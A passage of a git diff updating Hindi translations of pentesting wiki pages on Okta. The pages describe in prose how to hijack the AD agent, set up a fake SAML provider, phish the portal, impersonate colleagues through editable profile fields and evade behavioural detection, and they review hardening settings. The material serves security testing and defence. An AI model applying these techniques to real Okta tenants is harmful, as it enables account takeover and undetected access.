**उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का उत्तर देने की अनुमति भी देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे एक 'स्केलेटन की')। **हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** -### Hijacking AD As an Admin +### AD को व्यवस्थापक के रूप में हाइजैक करना -यह तकनीक पहले OAuth कोड प्राप्त करके फिर API टोकन का अनुरोध करके Okta AD एजेंट को हाईजैक करने से संबंधित है। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित करने** की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं। +यह तकनीक पहले एक OAuth कोड प्राप्त करके Okta AD एजेंट को हाइजैक करने से संबंधित है, फिर एक API टोकन का अनुरोध करना। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित** करने की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं। **हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** -### Okta Fake SAML Provider +### Okta फेक SAML प्रदाता **हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।** -यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, किसी भी प्रमाणीकरण अनुरोध को इच्छानुसार अनुमोदित कर सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है। +यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, इच्छानुसार किसी भी प्रमाणीकरण अनुरोध को मंजूरी दे सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है। -### Phishing Okta Portal with Evilgnix +### Evilgnix के साथ Okta पोर्टल का फ़िशिंग [**इस ब्लॉग पोस्ट**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) में बताया गया है कि Okta पोर्टल के खिलाफ फ़िशिंग अभियान कैसे तैयार करें। -### Colleague Impersonation Attack +### सहयोगी अनुकरण हमला -**प्रत्येक उपयोगकर्ता के पास होने वाले और संशोधित करने योग्य विशेषताएँ** (जैसे ईमेल या पहले नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में अन्य उपयोगकर्ताओं का **नकली रूप धारण** करने में सक्षम होगा। +**प्रत्येक उपयोगकर्ता के पास होने और संशोधित करने के लिए विशेषताएँ** (जैसे ईमेल या पहला नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में **अन्य उपयोगकर्ताओं का अनुकरण** करने में सक्षम होगा। -इसलिए, यदि ऐप **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और उसका नकली रूप धारण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)। +इसलिए, यदि अनुप्रयोग **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और इसका अनुकरण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)। -ध्यान दें कि यह नकली रूप धारण करना इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\ -इसलिए, यदि यह फ़ील्ड मौजूद है तो ऐप को इसे सक्षम करना चाहिए: +ध्यान दें कि यह अनुकरण इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\ +इसलिए, यदि यह फ़ील्ड मौजूद है तो अनुप्रयोग को इसे सक्षम करना चाहिए:
-मैंने अन्य ऐप्स को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न ऐप्स को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)। +मैंने अन्य अनुप्रयोगों को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न अनुप्रयोगों को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)। -यह पता लगाने का सबसे अच्छा तरीका कि क्या आप प्रत्येक ऐप पर किसी का भी नकली रूप धारण कर सकते हैं, यह प्रयास करना होगा! +यह जानने का सबसे अच्छा तरीका कि क्या आप प्रत्येक अनुप्रयोग पर किसी का अनुकरण कर सकते हैं, इसे आजमाना होगा! -## Evading behavioural detection policies +## व्यवहारिक पहचान नीतियों से बचना -Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन **उन्हें बायपास करना** **Okta अनुप्रयोगों को सीधे लक्षित करके** किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं। +Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन उन्हें **प्रत्यक्ष रूप से Okta अनुप्रयोगों को लक्षित करके** बायपास किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं। मुख्य सिफारिशों में शामिल हैं: @@ -98,15 +98,15 @@ Okta में व्यवहारिक पहचान नीतियाँ - Okta डैशबोर्ड के खिलाफ टोकनों को पुनः चलाते समय सावधानी बरतें। - यदि पीड़ित कंपनी के IP पते के बारे में पता है, तो **उन IPs या उनके रेंज तक ट्रैफ़िक को सीमित करें**, सभी अन्य ट्रैफ़िक को ब्लॉक करें। -## Okta Hardening +## Okta हार्डनिंग -Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा करना सीखेंगे कि वे यथासंभव सुरक्षित हों: +Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा कर सकते हैं कि वे यथासंभव सुरक्षित हों: {{#ref}} okta-hardening.md {{#endref}} -## References +## संदर्भ - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index f6c8060d9..8b2903c26 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,38 +6,38 @@ ### People -हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS) भी देख सकेंगे। +हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS)। एक व्हाइटबॉक्स समीक्षा के लिए जांचें कि "**लंबित उपयोगकर्ता क्रिया**" और "**पासवर्ड रीसेट**" नहीं हैं। ### Groups यहां आप Okta में बनाए गए सभी समूहों को पाएंगे। यह समझना दिलचस्प है कि विभिन्न समूहों (**अनुमतियों** का सेट) को **उपयोगकर्ताओं** को दिया जा सकता है।\ -यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** कौन से हैं। +यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** क्या हैं। -बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह जान सकें कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं। +बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह पता चल सके कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं। -एक व्हाइटबॉक्स समीक्षा से, वहां **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)। +एक व्हाइटबॉक्स समीक्षा से, **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)। ### Devices -यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** पाएंगे। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं। +यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** प्राप्त करें। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं। ### Profile Editor -यहां यह देखना संभव है कि कैसे महत्वपूर्ण जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जो फिर एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए उपयोग किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है। +यहां यह देखना संभव है कि कैसे प्रमुख जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जिसका उपयोग एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है। -इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसे सत्यापित करने की आवश्यकता होगी)। +इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसकी पुष्टि करनी होगी)। ### Directory Integrations डायरेक्टरीज़ आपको मौजूदा स्रोतों से लोगों को आयात करने की अनुमति देती हैं। मुझे लगता है कि यहां आप अन्य डायरेक्टरीज़ से आयातित उपयोगकर्ताओं को देखेंगे। -मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं के लिए कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता** कर सकें। +मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं में कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता कर सकें**। ### Profile Sources -एक प्रोफाइल स्रोत एक **ऐप्लिकेशन है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्यता का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही ऐप्लिकेशन या डायरेक्टरी द्वारा स्रोत किया जा सकता है। +एक प्रोफाइल स्रोत एक **ऐसा अनुप्रयोग है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्य का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही अनुप्रयोग या डायरेक्टरी द्वारा स्रोत किया जा सकता है। मैंने इसे नहीं देखा है, इसलिए इस विकल्प के संबंध में सुरक्षा और हैकिंग के बारे में कोई भी जानकारी सराहनीय है। @@ -67,7 +67,7 @@ यहां आप सभी **कॉन्फ़िगर किए गए अनुप्रयोगों** और उनके विवरण को पा सकते हैं: किसके पास उन तक पहुंच है, यह कैसे कॉन्फ़िगर किया गया है (SAML, OPenID), लॉगिन के लिए URL, Okta और अनुप्रयोग के बीच मैपिंग... -**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से एक अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें: +**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से किसी अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें:
@@ -79,7 +79,7 @@ ### Access Certifications -Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को अनुमोदित या रद्द कर सकें। +Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को मंजूरी या रद्द कर सकें। मैंने इसका उपयोग होते नहीं देखा है, लेकिन मुझे लगता है कि एक रक्षात्मक दृष्टिकोण से यह एक अच्छा फीचर है। @@ -91,7 +91,7 @@ Access Certifications का उपयोग करें ताकि आप - **CAPTCHA एकीकरण**: कम से कम अदृश्य reCaptcha सेट करना अनुशंसित है - **संगठन सुरक्षा**: सब कुछ सक्षम किया जा सकता है और सक्रियण ईमेल को लंबे समय तक नहीं रहना चाहिए (7 दिन ठीक है) - **उपयोगकर्ता गणना रोकथाम**: दोनों को सक्षम होना चाहिए -- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [उपयोगकर्ता प्रबंधन](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें): +- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें): - स्व-सेवा पंजीकरण - ईमेल प्रमाणीकरण के साथ JIT प्रवाह - **Okta ThreatInsight सेटिंग्स**: खतरे के स्तर के आधार पर सुरक्षा को लॉग और लागू करें @@ -102,7 +102,7 @@ Access Certifications का उपयोग करें ताकि आप ### Authenticators -यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जो एक उपयोगकर्ता उपयोग कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है। +यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जिनका उपयोग एक उपयोगकर्ता कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है। **Enrollment** टैब में आप देख सकते हैं कि कौन से आवश्यक या वैकल्पिक हैं: @@ -112,9 +112,9 @@ Access Certifications का उपयोग करें ताकि आप ### Authentication policies -हर ऐप का एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने की कोशिश कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है। +हर ऐप की एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने का प्रयास कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है। -यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएं** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं। +यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएँ** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं। ### Global Session Policy @@ -122,13 +122,13 @@ Access Certifications का उपयोग करें ताकि आप
-MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना अनुशंसित है (यदि यह संभव है)। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं। +MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना (यदि यह संभव है) अनुशंसित है। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं। ### Identity Providers -पहचान प्रदाता (IdPs) सेवाएं हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को पहले एक सामाजिक खाते या स्मार्ट कार्ड के साथ प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है। +पहचान प्रदाता (IdPs) सेवाएँ हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को एक सामाजिक खाते या स्मार्ट कार्ड के साथ पहले प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है। -पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को एक IdP की ओर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन। +पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को संदर्भ के आधार पर IdP पर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन। **यदि कोई पहचान प्रदाता कॉन्फ़िगर किया गया है** तो हमलावर और रक्षक के दृष्टिकोण से उस कॉन्फ़िगरेशन की जांच करें और **यदि स्रोत वास्तव में विश्वसनीय है** क्योंकि एक हमलावर इसे समझौता कर सकता है और Okta वातावरण तक पहुंच प्राप्त कर सकता है। @@ -136,37 +136,37 @@ MFA का अनुरोध करना, सत्र की अवधि क प्रतिनिधि प्रमाणीकरण उपयोगकर्ताओं को अपने संगठन के **Active Directory (AD) या LDAP** सर्वर के लिए क्रेडेंशियल दर्ज करके Okta में साइन इन करने की अनुमति देता है। -फिर से, इसे पुनः जांचें, क्योंकि एक हमलावर जो एक संगठन के AD को समझौता कर सकता है, इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है। +फिर से, इसे फिर से जांचें, क्योंकि एक हमलावर यदि किसी संगठन के AD को समझौता कर लेता है तो वह इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है। ### Network -एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** को **IP पते** के आधार पर पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र परिभाषित कर सकते हैं। +एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** तक पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं जो **IP पते** के आधार पर अनुरोध कर रहे हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र को परिभाषित कर सकते हैं। एक बार जब आप एक या अधिक नेटवर्क क्षेत्रों को परिभाषित कर लेते हैं, तो आप **उन्हें वैश्विक सत्र नीतियों**, **प्रमाणीकरण नीतियों**, VPN सूचनाओं, और **रूटिंग नियमों** में उपयोग कर सकते हैं। -हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से IPs की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है। +हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से Ps की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है। ### Device Integrations -- **Endpoint Management**: एंडपॉइंट प्रबंधन एक शर्त है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है। -- मैंने अभी तक इसका उपयोग नहीं देखा है। TODO -- **Notification services**: मैंने अभी तक इसका उपयोग नहीं देखा है। TODO +- **Endpoint Management**: एंडपॉइंट प्रबंधन एक ऐसी स्थिति है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है। +- मैंने अभी तक इसका उपयोग होते नहीं देखा है। TODO +- **Notification services**: मैंने अभी तक इसका उपयोग होते नहीं देखा है। TODO ### API -आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए हैं**, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो। +आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए** हैं, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो। -**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और जो आपके Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं। +**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और Okta API के माध्यम से आपके 